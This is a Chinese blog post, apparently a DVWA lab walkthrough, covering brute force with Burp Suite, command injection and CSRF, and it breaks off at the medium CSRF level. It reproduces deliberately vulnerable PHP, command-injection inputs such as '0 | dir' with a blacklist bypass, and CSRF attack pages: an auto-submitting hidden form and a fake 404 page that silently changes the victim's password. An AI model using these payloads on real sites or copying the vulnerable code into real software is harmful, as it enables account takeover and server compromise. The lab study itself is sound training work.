Cool-Y.github.io/2019/07/24/web-dvwa/index.html
2019-07-24 14:01:50 +08:00

1512 lines
116 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
<link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
<link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
<link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
<meta name="keywords" content="web,ctf,">
<meta name="description" content="搭建环境最好使用docker来搭建方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词姓氏任何太短的密码通常被认为少于6或7个字符或可预测的模式">
<meta name="keywords" content="web,ctf">
<meta property="og:type" content="article">
<meta property="og:title" content="DVWA黑客攻防平台">
<meta property="og:url" content="https://cool-y.github.io/2019/07/24/web-dvwa/index.html">
<meta property="og:site_name" content="混元霹雳手">
<meta property="og:description" content="搭建环境最好使用docker来搭建方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词姓氏任何太短的密码通常被认为少于6或7个字符或可预测的模式">
<meta property="og:locale" content="zh-Hans">
<meta property="og:updated_time" content="2019-07-24T06:00:56.862Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="DVWA黑客攻防平台">
<meta name="twitter:description" content="搭建环境最好使用docker来搭建方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词姓氏任何太短的密码通常被认为少于6或7个字符或可预测的模式">
<script type="text/javascript" id="hexo.configurations">
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Gemini',
version: '5.1.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
</script>
<link rel="canonical" href="https://cool-y.github.io/2019/07/24/web-dvwa/">
<title>DVWA黑客攻防平台 | 混元霹雳手</title>
</head>
<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
<div class="container sidebar-position-left page-post-detail">
<div class="headband"></div>
<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-wrapper">
<div class="site-meta ">
<div class="custom-logo-site-title">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">混元霹雳手</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<p class="site-subtitle"></p>
</div>
<div class="site-nav-toggle">
<button>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
</button>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section">
<i class="menu-item-icon fa fa-fw fa-home"></i> <br>
首页
</a>
</li>
<li class="menu-item menu-item-about">
<a href="/about/" rel="section">
<i class="menu-item-icon fa fa-fw fa-user"></i> <br>
关于
</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section">
<i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
标签
</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section">
<i class="menu-item-icon fa fa-fw fa-th"></i> <br>
分类
</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section">
<i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
归档
</a>
</li>
<li class="menu-item menu-item-bookmarks">
<a href="/bookmarks/" rel="section">
<i class="menu-item-icon fa fa-fw fa-map"></i> <br>
书签
</a>
</li>
<li class="menu-item menu-item-search">
<a href="javascript:;" class="popup-trigger">
<i class="menu-item-icon fa fa-search fa-fw"></i> <br>
搜索
</a>
</li>
</ul>
<div class="site-search">
<div class="popup search-popup local-search-popup">
<div class="local-search-header clearfix">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
<div class="local-search-input-wrapper">
<input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
</div>
</div>
<div id="local-search-result"></div>
</div>
</div>
</nav>
</div>
</header>
<main id="main" class="main">
<div class="main-inner">
<div class="content-wrap">
<div id="content" class="content">
<div id="posts" class="posts-expand">
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/07/24/web-dvwa/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="Cool-Y">
<meta itemprop="description" content>
<meta itemprop="image" content="/images/avatar.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="混元霹雳手">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">DVWA黑客攻防平台</h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-24T11:46:51+08:00">
2019-07-24
</time>
</span>
<span class="post-category">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/web/" itemprop="url" rel="index">
<span itemprop="name">web</span>
</a>
</span>
</span>
<span id="/2019/07/24/web-dvwa/" class="leancloud_visitors" data-flag-title="DVWA黑客攻防平台">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数&#58;</span>
<span class="leancloud-visitors-count"></span>
</span>
<div class="post-wordcount">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span title="字数统计">
7.1k 字
</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span title="阅读时长">
31 分钟
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="搭建环境"><a href="#搭建环境" class="headerlink" title="搭建环境"></a>搭建环境</h1><p>最好使用docker来搭建方便迁移 <a href="https://hub.docker.com/r/vulnerables/web-dvwa/" target="_blank" rel="noopener">https://hub.docker.com/r/vulnerables/web-dvwa/</a></p>
<h1 id="暴力破解"><a href="#暴力破解" class="headerlink" title="暴力破解"></a>暴力破解</h1><h2 id="easy模式"><a href="#easy模式" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。<br>用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词姓氏任何太短的密码通常被认为少于6或7个字符或可预测的模式例如交替的元音和辅音这被称为leetspeak所以“密码“变成”p @ 55w0rd“<br>创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站,个人社交网络和其他常见信息(如生日或毕业年份)的组合创建字典。<br>最后一种方法是尝试所有可能的密码,称为暴力攻击。从理论上讲,如果尝试次数没有限制,那么暴力攻击将永远是成功的,因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码数量也越来越长。</p>
</blockquote>
<p>使用burpsuite可破之Burp suite运行后Proxy 开起默认的8080 端口作为本地代理接口。<br>使用Burp suite通过置一个web 浏览器使用其代理服务器<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_GET[ <span class="string">'Login'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Get username</span></span><br><span class="line"> $user = $_GET[ <span class="string">'username'</span> ];</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Get password</span></span><br><span class="line"> $pass = $_GET[ <span class="string">'password'</span> ];</span><br><span class="line"> $pass = md5( $pass );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check the database</span></span><br><span class="line"> $query = <span class="string">"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"</span>;</span><br><span class="line"> $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>], $query ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">'&lt;pre&gt;'</span> . ((is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_error($GLOBALS[<span class="string">"___mysqli_ston"</span>]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class="keyword">false</span>)) . <span class="string">'&lt;/pre&gt;'</span> );</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>( $result &amp;&amp; mysqli_num_rows( $result ) == <span class="number">1</span> ) &#123;</span><br><span class="line"> <span class="comment">// Get users details</span></span><br><span class="line"> $row = mysqli_fetch_assoc( $result );</span><br><span class="line"> $avatar = $row[<span class="string">"avatar"</span>];</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Login successful</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;p&gt;Welcome to the password protected area &#123;$user&#125;&lt;/p&gt;"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;img src=\"&#123;$avatar&#125;\" /&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">// Login failed</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class="string">"___mysqli_ston"</span>]))) ? <span class="keyword">false</span> : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p><strong>PHP $_GET 变量</strong><br>在 PHP 中,预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。</p>
<p><strong>$_GET 变量</strong><br>预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。<br>从带有 GET 方法的表单发送的信息,<strong>对任何人都是可见的</strong>(会显示在浏览器的地址栏),并且对发送信息的量也有限制。</p>
<p><strong>何时使用 method=”get”</strong><br>在 HTML 表单中使用 method=”get” 时,所有的变量名和值都会显示在 URL 中。<br>所以在发送密码或其他敏感信息时,不应该使用这个方法!<br>然而,正因为变量显示在 URL 中,因此可以在收藏夹中收藏该页面。在某些情况下,这是很有用的。<br>HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET /vulnerabilities/brute/?username=admin123&amp;password=123&amp;Login=Login HTTP/1.1</span><br><span class="line">Host: 192.168.31.84:81</span><br><span class="line">Proxy-Connection: keep-alive</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span><br><span class="line">Referer: http://192.168.31.84:81/vulnerabilities/brute/</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span><br></pre></td></tr></table></figure>
<p>我们可以看到username和password是以明文出现可以修改。</p>
<p>将请求进行提交到intruder模块在那里可以把password设置为我们破解的payload.<br>点击Start attack~然后就根据对面返回包的大小知道密码password返回的长度更长</p>
<h2 id="medium模式"><a href="#medium模式" class="headerlink" title="medium模式"></a>medium模式</h2><p>代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证以及登录失败会 sleep(2)。将用户名和密码转义,比如说 \n 被转义成 \n 转义成 \’,这可以抵御一些 SQL 注入攻击,但是不能抵御爆破。</p>
<h1 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h1><h2 id="easy模式-1"><a href="#easy模式-1" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下执行不需要的系统命令的应用程序就像一个伪系统shell攻击者可以将它用作任何授权的系统用户。但是命令的执行具有与Web服务相同的权限和环境。</p>
<p>在大多数情况下命令注入攻击是可能的因为缺少正确的输入数据验证攻击者可以操纵它表单cookieHTTP头等</p>
<p>操作系统OS例如Linux和Windows的语法和命令可能不同具体取决于所需的操作。</p>
<p>此攻击也可称为“远程命令执行RCE”。</p>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_POST[ <span class="string">'Submit'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> $target = $_REQUEST[ <span class="string">'ip'</span> ];</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Determine OS and execute the ping command.</span></span><br><span class="line"> <span class="keyword">if</span>( stristr( php_uname( <span class="string">'s'</span> ), <span class="string">'Windows NT'</span> ) ) &#123;</span><br><span class="line"> <span class="comment">// Windows</span></span><br><span class="line"> $cmd = shell_exec( <span class="string">'ping '</span> . $target );</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">// *nix</span></span><br><span class="line"> $cmd = shell_exec( <span class="string">'ping -c 4 '</span> . $target );</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Feedback for the end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&#123;$cmd&#125;&lt;/pre&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>可见服务器无条件执行了ping $target的命令如果注入$target = 0 | dir服务器就会执行dir</p>
<blockquote>
<p>管道符号是unix一个很强大的功能,符号为一条竖线:”|”。<br>用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2</p>
</blockquote>
<p><strong>任意命令执行漏洞修补办法</strong><br>在写程序时尽量地使变量不能被用户所控制!且注意变量初始化的问题。</p>
<p>使用str_replace对“%”,”|”,“&gt;”进行替换</p>
<p>进入函数前判断变量是否合法。</p>
<h2 id="medium模式-1"><a href="#medium模式-1" class="headerlink" title="medium模式"></a>medium模式</h2><p>无非就是增加了一个黑名单 &amp;&amp;和;,但还是可以用管道|和&amp;<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// Set blacklist</span><br><span class="line">$substitutions = array(</span><br><span class="line"> &apos;&amp;&amp;&apos; =&gt; &apos;&apos;,</span><br><span class="line"> &apos;;&apos; =&gt; &apos;&apos;,</span><br><span class="line">);</span><br></pre></td></tr></table></figure></p>
<p>这里需要注意的是”&amp;&amp;”与”&amp;”的区别:<br>Command 1&amp;&amp;Command 2<br>先执行Command 1执行成功后执行Command 2否则不执行Command 2<br>Command 1&amp;Command 2<br>先执行Command 1不管是否成功都会执行Command 2</p>
<p>更聪明的做法是利用&amp;;&amp;,黑名单会将其转化为&amp;&amp;</p>
<h1 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h1><h2 id="easy模式-2"><a href="#easy模式-2" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>CSRF跨站请求伪造是一种攻击它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下例如通过电子邮件/聊天发送链接攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。<br>成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户则可能会危及整个Web应用程序。<br>此攻击也可称为“XSRF”类似于“跨站点脚本XSS它们通常一起使用。<br>您的任务是让当前用户使用CSRF攻击更改自己的密码而无需他们了解自己的操作。</p>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_GET[ <span class="string">'Change'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> $pass_new = $_GET[ <span class="string">'password_new'</span> ];</span><br><span class="line"> $pass_conf = $_GET[ <span class="string">'password_conf'</span> ];</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Do the passwords match?</span></span><br><span class="line"> <span class="keyword">if</span>( $pass_new == $pass_conf ) &#123;</span><br><span class="line"> <span class="comment">// They do!</span></span><br><span class="line"> $pass_new = ((<span class="keyword">isset</span>($GLOBALS[<span class="string">"___mysqli_ston"</span>]) &amp;&amp; is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_real_escape_string($GLOBALS[<span class="string">"___mysqli_ston"</span>], $pass_new ) : ((trigger_error(<span class="string">"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span>, E_USER_ERROR)) ? <span class="string">""</span> : <span class="string">""</span>));</span><br><span class="line"> $pass_new = md5( $pass_new );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Update the database</span></span><br><span class="line"> $insert = <span class="string">"UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class="string">"';"</span>;</span><br><span class="line"> $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>], $insert ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">'&lt;pre&gt;'</span> . ((is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_error($GLOBALS[<span class="string">"___mysqli_ston"</span>]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class="keyword">false</span>)) . <span class="string">'&lt;/pre&gt;'</span> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Feedback for the user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">// Issue with passwords matching</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class="string">"___mysqli_ston"</span>]))) ? <span class="keyword">false</span> : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>服务器通过GET方式接收修改密码的请求会检查参数password_new与password_conf是否相同如果相同就会修改密码没有任何的防CSRF机制当然服务器对请求的发送者是做了身份验证的是检查的cookie只是这里的代码没有体现</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET /vulnerabilities/csrf/?password_new=123&amp;password_conf=123456&amp;Change=Change HTTP/1.1</span><br><span class="line">Host: 192.168.31.84:81</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span><br><span class="line">Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password&amp;password_conf=123&amp;Change=Change</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure>
<p>根据拦截的http请求可以伪造如下链接让受害者点击从而修改密码<br><code>http://ip:port/vulnerabilities/csrf/?password_new=test&amp;password_conf=test&amp;Change=Change</code></p>
<p>更具隐藏性的方式:<br>1.使用短链接来隐藏 URL<br>为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:<br><a href="http://tinyurl.com/yd2gogtv" target="_blank" rel="noopener">http://tinyurl.com/yd2gogtv</a><br>PS:提供一个短网址生成网站<br>2.构造攻击页面:</p>
<ul>
<li>方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL并进行布局隐藏实现了受害者点击链接则会将密码修改。</li>
<li>方式 2 查看页面html源代码将关于密码操作的表单部分通过javascript的onload事件加载和css代码来隐藏布局按GET传递参数的方式进一步构造html form表单实现了受害者点击链接则会将密码修改。<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">"javascript:csrf()"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">function csrf()&#123;</span></span><br><span class="line"><span class="undefined">document.getElementById("button").click();</span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">form&#123;</span></span><br><span class="line"><span class="undefined">display:none;</span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">"http://www.dvwa.com/vulnerabilities/csrf/?"</span> <span class="attr">method</span>=<span class="string">"GET"</span>&gt;</span></span><br><span class="line"> New password:<span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">AUTOCOMPLETE</span>=<span class="string">"off"</span> <span class="attr">name</span>=<span class="string">"password_new"</span> <span class="attr">value</span>=<span class="string">"test"</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"> Confirm new password:<span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">AUTOCOMPLETE</span>=<span class="string">"off"</span> <span class="attr">name</span>=<span class="string">"password_conf"</span> <span class="attr">value</span>=<span class="string">"test"</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">id</span>=<span class="string">"button"</span> <span class="attr">name</span>=<span class="string">"Change"</span> <span class="attr">value</span>=<span class="string">"Change"</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure>
</li>
</ul>
<p>构造攻击页面</p>
<p>现实攻击场景下这种方法需要事先在公网上传一个攻击页面诱骗受害者去访问真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示就在本地写一个test.html下面是具体代码。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=&quot;http://192.168.31.84:81/vulnerabilities/csrf/?password_new=111&amp;password_conf=111&amp;Change=Change# border=&quot;0&quot; style=&quot;display:none;&quot;/&gt;</span><br><span class="line">&lt;h1&gt;404&lt;/h1&gt;</span><br><span class="line">&lt;h2&gt;file not found.&lt;/h2&gt;</span><br></pre></td></tr></table></figure>
<p>当受害者访问test.html时会误认为是自己点击的是一个失效的url但实际上已经遭受了CSRF攻击密码已经被修改为了hack。</p>
<h2 id="medium模式-2"><a href="#medium模式-2" class="headerlink" title="medium模式"></a>medium模式</h2><p>检查 HTTP_REFERERhttp包头的Referer参数的值表示来源地址中是否包含SERVER_NAMEhttp包头的Host参数及要访问的主机名<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Checks to see where the request came from</span><br><span class="line"> if( stripos( $_SERVER[ &apos;HTTP_REFERER&apos; ] ,$_SERVER[ &apos;SERVER_NAME&apos; ]) !== false ) &#123;</span><br></pre></td></tr></table></figure></p>
